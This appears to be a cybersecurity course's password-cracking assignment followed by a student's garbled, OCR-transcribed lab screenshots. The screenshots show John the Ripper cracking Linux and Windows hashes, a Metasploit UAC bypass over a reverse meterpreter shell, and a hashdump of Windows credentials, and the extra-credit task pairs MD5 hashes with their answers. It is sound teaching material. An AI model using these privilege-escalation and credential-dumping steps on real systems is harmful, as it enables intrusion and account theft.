  
  
  
CYSE 301: Cybersecurity Technique and Operations  Assignment 4: Password Cracking (Part A)
At the end of this module, each student needs to submit a report that includes the solutions to the  following tasks. Make sure you take a screenshot for every single step as proof.  You need to use  
Task A: Linux Password Cracking (25 points) 
1. 5 points. Create two groups, one is cyse301s23, and the other is your ODU Midas ID (for example,  pjiang). Then display the corresponding group IDs. [image: ]
2. 5 points. Create and assign three users to each group. Display related UID and GID information of  each user.  [image: ]
3. 5 points. Choose six new passwords, from easy to hard, and assign them to the users you created.  You need to show me the password you selected in your report, and DO NOT use your real-world  passwords.  
Passwords:
Alex - Happy
Tom - toor
Brad - Sad
Katy - Cats
Ashley - dog
Destiny - root
[image: ]
4. 5 points. Export all six users’ password hashes into a file named “YourMIDAS-HASH” (for example,  pjiang-HASH). Then launch a dictionary attack to crack the passwords. You MUST crack at least  one password in order to complete this assignment.  [image: ]
Task B: Windows Password Cracking (25 points) 
Log on to Windows 7 VM and create a list of 3 users with different passwords. Then you need to establish  a reverse shell connection with the admin privilege to the target Windows 7 VM.  
Now, complete the following tasks: 
1. 5 points. Display the password hashes by using the “hashdump” command in the meterpreter  shell. Then
  [image: ]
2. 10 points. Save the password hashes into a file named “your_midas.WinHASH” in Kali Linux  (you need to replace the “your_midas” with your university MIDAS ID). Then run John the ripper  for 10 minutes to crack the passwords (You MUST crack at least one password in order to  complete this assignment.).  
[image: ]
3. 10 points. Upload the password cracking tool, Cain and Abel, to the remote Windows 7 VM, and install it via a remote desktop window. Then, implement BOTH brute force and dictionary  attacks to crack the passwords. (You MUST crack at least one password in order to complete this  assignment.).  
[image: ]
[image: ]
Task C: Extra credit: (10 points) 
Search the proper format in John the Ripper to crack the following MD5 hashes (use the --list=formats option to list all supported formats) . Show your steps and results.  
1. 5f4dcc3b5aa765d61d8327deb882cf99 - Password
2. 63a9f0ea7bb98050796b649e85481845 - Root
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Terminal

Edit Search Termina
on Bypass (Via COM Handler Hijack)
2 exploit/windows/local/bypassuac_eventvwr 2016-08-15 excellent Yes  Windows Escalate UAC Protecti
on Bypass (Via Eventvwr Registry Key)
3 exploit/windows/local/bypassuac_fodhelper
(Via FodHelper Registry Key)
4 exploit/windows/local/bypassuac_injection
on Bypass (In Memory Injection)
5 exploit/windows/local/bypassuac_injection winsxs
on Bypass (In Memory Injection) abusing Winsxs
6 exploit/windows/local/bypassuac_silentcleanup 2019-02-24
= lon Bypass (Via SilentCleanup)
7 exploit/windows/local/bypassuac_sluihijack
(Via Slui File Handler Hijack)
8 exploit/windows/local/bypassuac_vbs 2015-08-22
on Bypass (ScriptHost Vulnerability)

2017-05-12 excellent windows UAC Protection Bypass

2010-12-31 excellent Windows Escalate UAC Protecti

2017-04-06 excellent Windows Escalate UAC Protecti

excellent Windows Escalate UAC Protecti

2018-01-15

excellent Windows UAC Protection Bypass

excellent Windows Escalate UAC Protecti

msfs exploit(niiti/handler) > use exploit/windows/local/bypassuac
mSf5 exploit(vindows/ local /hypacsuac) > set session 1

session => 1

msfs exploit(windows/local/bypassuac) > exploit

| started reverse TCP handler on 192.168.10.13:4444

"1 UAC is Enabled, checking level...

[+] UAC is set to Default

[+] BypassUAC can bypass this setting, continuing...

[+] Part of Administrators group! Continuing..

| Uploaded the agent to the filesystem....

| Uploading the bypass UAC executable to the filesystem...

|| Meterpreter stager executable 73802 bytes long being uploaded..

| sending stage (179779 bytes) to 192.168.10.9

|| Meterpreter session 2 opened (192.168.10.13:4444 -> 192.168.10.9:1129) at 2023-11-24 16

:16 -0500

meterpreter > hashdump
Administrato: 00:aad3b435b51404eeaad3b435b51404ee:31d6cfedd16ae931b73c59d7e0cO89cO

o
Ashley:1006:aad3b435b51404eeaad3b435b51404ee : 1e0e867ab8043bbbade4639dbdf562e
Brad: 1005:aad3b435b51404eeaad3b435b51404ee: 396C72c2c32558d17 f98Faefc77e415:
Guest:501:aad3b435b51404eeaad3b435b51404ee: 31d6cFedd16ae931b73c59d7e0cOBIC!

HomeGroupUser$: 1002:aad3b435b51404eeaad3ba35b51404ee : 2d79c7f57c09bad3139F56290e444b23: :
rreav:1003:aad3b435b51404eeaad3b435b51404ee : a9fdfa038c4b75ebc76dc855dd74foda
Tom: 1004 :aad3b435b51404eeaad3ba35b51404ee : 9edbcccaba26dasdccf74c95bb3b7c66: : :
ad3b435b51404eeaad3ba35b51404ee : 8846 7eaces b117ado6bdds30b7586¢

window 7:100
meterpreter > |
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root@CS2APenTest: ~

root@CS2APenTest: ~

enable memory saving, at LEVEL 1..3
this node's number range out of TOTAL count
fork N processes

POt=NAME pot file to use

Ui st=WHAT list capabilities, see --list=help or doc/OPTIONS
- - format=NAME force hash of type NAME. The supported formats can
be seen with --list=formats and --list=subformats

FootEcszAPenTest: # johm rreav.winHASH.txt --wordlist=rockyou.txt
bash: johm: command not found
Foot@cszaPenTest: # john rreav.winHASH.txt --wordlist
stat: rreav.winHASH.txt: No such file or directory
Foot@cszAPenTest: # john rreav.winHASH --wordlist=rockyou.txt
Warning: detected hash type "LM", but the string is also recognized as "NT"
Use the "--format=NT" option to force loading these as that type instead
Using default input encoding: UTF-8
Using default target encoding: CP850
Loaded 1 password hash (LM [DES 512/512 AVX512F])
Warning: poor OpenMP scalability for this hash type, consider --fork=2
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
(Administrator)
1g 0:00:00:00 DONE (2023-11-24 17:13) 5.000g/s 81920p/s 81920c/s 81920C/s 123456..MUSTANG
Warning: passwords printed above might not be all those cracked
Use the "--show --format=LM" options to display all of the cracked passwords reliably [
Session completed
FootcszAPenTest: # john rreav.winHASH --wordlist=rockyou.txt --format=NT
Using default input encoding: UTF-8
Loaded 7 password hashes with no different salts (NT [MD4 512/512 AVX512BW 16x31)
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status

ockyou. txt

DD<«SkxE =2 $ '@

password (Window 7)

password123 (rreav)
(Administrator)

cat (Ashley)

Happy (Tom)

5 0:00:00:03 DONE (2023-11-24 17:14) 1.432g/s 4109Kp/s 4109Kc/s 8258KC/s _ 9..*7iVamos
Warning: passwords printed above might not be all those cracked

Use the "--show --format=NT" options to display all of the cracked passwords reliably

Session completed

root@cs2APenTest:~# | O
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root@CS2APenTest: ~

Applications ~  Places v [ Terminal ~

FootacszaPeniest: # groupadd cyse301523
FootEcszaPenTest: # groupadd rreavoe3
rootacszaPentest: # tail /etc/group
redis:x:142
rdma:x:

gluster

kvm: x: 10
Debian-snmp:x:143:
systemd-coredum
chromeuser:x:1000:
render:x:145
cyse301523:x:1001
rreav03:x:1002:
root@cs2APenTest:~# |
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Applications ~

kvm:x:105:
Debian-snmp:x:143:
systemd-coredump
chromeuser:x:1000:
render:x:145

cyse301523:x:1001
rreavoe3:x:1002:

FootacszaPentest: # useradd Alex -g cyse301523
rootacszapeniest: # useradd Tom -g cyse301s23
rootacszaPentest: # useradd Brad -g cyse301523
FootacszaPeniest: # useradd Katy -g rreavoe3
rootacszaPentest: # useradd Ashley -g rreaveos

footacszaPentest: # useradd Destiny -g rreavoe3
footacszaPentest: # tail -nd Jetc/passwd
Brad:x:1003:1001: : /home/Brad: /bin/sh
Katy:x:1004:1002: : /home/Katy: /bin/sh
Ashley:x:1005:1002: : /home/Ashley: /bin/sh
Destiny:x:1006:1002: : /home/Destiny: /bin/sh
footaciaAPenTest: # tail -n6 /etc/passwd
ALex:x:1001:1001: : /home/ALex: /bin/sh

Tom home/Tom: /bin/sh
/home/Brad: /bin/sh
Katy:x:1004:1002: : /home/Katy: /bin/sh
home/Ashley: /bin/sh
Destiny:x:1006:1002: : /home/Destiny: /bin/sh
root@cs2APenTest:~# [





image5.png
Applications v Places > [ Terminal ~ Mon15:52

root@CS2APenTest: ~

Foot@cszaPeniest: # useradd Brad -g cyse301523
rootecszaPenTest: # useradd Katy -g rreavoe3
rootacszaPentest: # useradd Ashley -g rreaveos
FootacszaPenTest: # useradd Destiny -g rreavoe3
rootacszaPentest: # tail -n4 /etc/passwd

Brad

Katy: 8

Ashley:x:1005:1002: : /home/Ashley: /bin/sh
Destiny:x:1006:1002: : /home/Destiny: /bin/sh
rootacszaPentest: # tail -n6 /etc/passwd
ALex:x:1001:1001: : /home/ALex: /bin/sh

Tom: x 8 /home/Tom: /bin/sh

Brad: 8

Ashley:x:1005:1002: : /home/Ashley: /bin/sh
Destiny:x:1006:1002: : /home/Destiny:/bin/sh
rootacszapenTest: # passwd Alex
passwd: user 'Alex' does not exist
Foot@cszaPenTest: # passwd Alex

New password:

Retype new password

passwd: password updated successfully
FootacszaPentest: # passwd Tom

New passwort

Retype new password

pamaltegorassword updated successfully
Footacszapentest: # passwd Brad

New password:

Retype new password

passwd: password updated successfully
Foot@cszapenTest: # passwd Katy

New passwor

Retype new password

passwd: password updated successfully
root@cszaPeniest: # passwd Ashley
New password:

Retype new password

passwd: password updated successfully
Foot@cszaPenTest: # passwd Destiny
New passwort

Retype new password

passwd: password updated successfully
root@cs2APenTest:~# |
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root@CS2APenTest: ~
arch Terminal Help
--make-charset=FILE make a charset file. It will be overwritten
--show[=left] show cracked passwords [if =left, then uncracked
--test[=TIME] run tests and benchmarks for TIME seconds each
--users=[-]LOGIN|UID[,..] [do not] load this (these) user(s) only
--groups=[-1GID[, ..] Tload users [not] of this (these) group(s) only
--shells=[-]SHELL[, ..] load users with[out] this (these) shell(s) only
. --salts=[-]COUNT[:MAX] load salts with[out] COUNT [to MAX] hashes
--costs=[-1C[:MIL,...] load salts with[out] cost value Cn [to Mn]. For
& tunable cost parameters, see doc/OPTIONS
--save-memory=LEVEL enable memory saving, at LEVEL 1..3
IIN[-MAX]/TOTAL this node's number range out of TOTAL count
fork N processes
IAME pot file to use
HAT list capabilities, see --list=help or doc/OPTIONS
- - format=NAME force hash of type NAME. The supported formats can

be seen with --list=formats and --list=subformats

f00tECS2APenTest: # john rreavee3 Hash

Using default input encoding: UTF-8

Loaded 6 password hashes with 6 different salts (shaSl2crypt, crypt(3) $6% [SHAS12 512/512 AVXS12BW 8x])
Cost 1 (iteration count) is 5000 for all loaded hashes

Will run 2 OpenMP threads

Proceeding with single, rules:Single

Press 'q' or Ctrl-C to abort, almost any other key for status

wWarning: Only 12 candidates buffered for the current salt, minimum 16 needed for performance

warning: Only 8 candidates buffered for the current salt, minimum 16 needed for performance
warning: Only 10 candidates buffered for the current salt, minimum 16 needed for performance
warning: Only 15 candidates buffered for the current salt, minimum 16 needed for performance

wWarning: Only 4 candidates buffered for the current salt, minimum 16 needed for performance
wWarning: Only 15 candidates buffered for the current salt, minimum 16 needed for performance
wWarning: Only 6 candidates buffered for the current salt, minimum 16 needed for performance
warning: Only 12 candidates buffered for the current salt, minimum 16 needed for performance
wWarning: Only 13 candidates buffered for the current salt, minimum 16 needed for performance
Almost done: Processing the remaining buffered candidate passwords, if any

Warning: Only 1 candidate buffered for the current salt, minimum 16 needed for performance
Further messages of this type will be suppressed

To see less of these warnings, enable 'RelaxkPCWarningCheck' in john.conf

Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist

dog (Ashley)

Happy (Alex)

cats (Katy)

Proceeding with incremental:ASCIT

DSk 2N ¢





